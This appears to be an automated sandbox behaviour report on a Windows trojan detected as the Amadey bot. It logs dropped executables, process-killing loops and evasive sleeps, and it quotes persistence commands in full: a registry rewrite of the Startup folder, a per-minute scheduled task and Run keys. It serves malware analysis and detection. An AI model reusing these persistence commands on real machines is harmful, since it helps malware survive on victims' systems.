Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 4624 /t /f
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process created: C:\Users\user\AppData\Local\Temp\a.exe 'C:\Users\user\AppData\Local\Temp\a.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\a.exe	Process created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\4c423bc94e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 6268 /t /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 3184 /t /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c ''C:\Users\user\AppData\Local\Temp\1sb1iwyem7\KillDuplicate.cmd' 'C:\Users\user\AppData\Local\Temp\1sb1iwyem7' '1sb1iwyem7.exe''
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c TaskList /fo CSV /nh
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe TaskKill /pid 4624 /t /f
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe 'C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe'
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\mvoElayshk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\mvoElayshk.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mvoElayshk.exe.log

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe TaskList /fo CSV /nh

Source: C:\Users\user\Desktop\mvoElayshk.exe

File created: C:\Users\user\AppData\Local\Temp\a.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@100/16@1/3

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_00409332 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

13_2_00409332

Source: C:\Users\user\Desktop\mvoElayshk.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_004023DF GetDiskFreeSpaceExW,SendMessageW,

13_2_004023DF

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_00409684 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

13_2_00409684

Source: C:\Users\user\Desktop\mvoElayshk.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2220:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1844:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5048:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6916:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5300:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4632:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe

Code function: 13_2_00403908 GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,GetProcAddress,GetProcAddress,wsprintfW,GetProcAddress,

13_2_00403908

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: mvoElayshk.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: mvoElayshk.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: mvoElayshk.exe

Source: C:\Users\user\Desktop\mvoElayshk.exe	Code function: 0_2_00291C42 push rcx; ret	0_2_00291C79
Source: C:\Users\user\AppData\Local\Temp\a.exe	Code function: 3_2_01010626 push ecx; ret	3_2_01010639
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 5_2_00F10626 push ecx; ret	5_2_00F10639
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F03DAE push cs; iretd	11_2_00F03DAF
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Code function: 11_2_00F10626 push ecx; ret	11_2_00F10639
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041C1C0 push eax; ret	13_2_0041C1EE
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 13_2_0041BEF0 push ecx; mov dword ptr [esp], ecx	13_2_0041BEF1
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041C1C0 push eax; ret	16_2_0041C1EE
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: 16_2_0041BEF0 push ecx; mov dword ptr [esp], ecx	16_2_0041BEF1
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Code function: 29_2_02536726 push es; retf	29_2_02536745

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Code function: 5_2_00F0C0A0 Sleep,Sleep,LoadLibraryA,GetProcAddress,FreeLibrary,GetUserNameW,GetComputerNameExW,

5_2_00F0C0A0

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.996019062.0000000004707000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.927011329.000000000131A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.933021893.000000000137E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.927044420.0000000001359000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 6908, type: MEMORYSTR

Source: C:\Users\user\Desktop\mvoElayshk.exe	File created: C:\Users\user\AppData\Local\Temp\a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\1sb1iwyem7[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\5mgcqk6jl[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	File created: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\a.exe	File created: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Jump to dropped file

Boot Survival:

Creates multiple autostart registry keys

Show sources

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 5mgcqk6jl.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1sb1iwyem7.exe			Jump to behavior

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe' /F

Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1sb1iwyem7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1sb1iwyem7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 5mgcqk6jl.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 5mgcqk6jl.exe	Jump to behavior

Source: C:\Users\user\Desktop\mvoElayshk.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\mvoElayshk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\a.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\mvoElayshk.exe TID: 6280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 6892	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3628	Thread sleep count: 218 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3628	Thread sleep time: -39240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3532	Thread sleep count: 199 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe TID: 3532	Thread sleep time: -35820000s >= -30000s	Jump to behavior
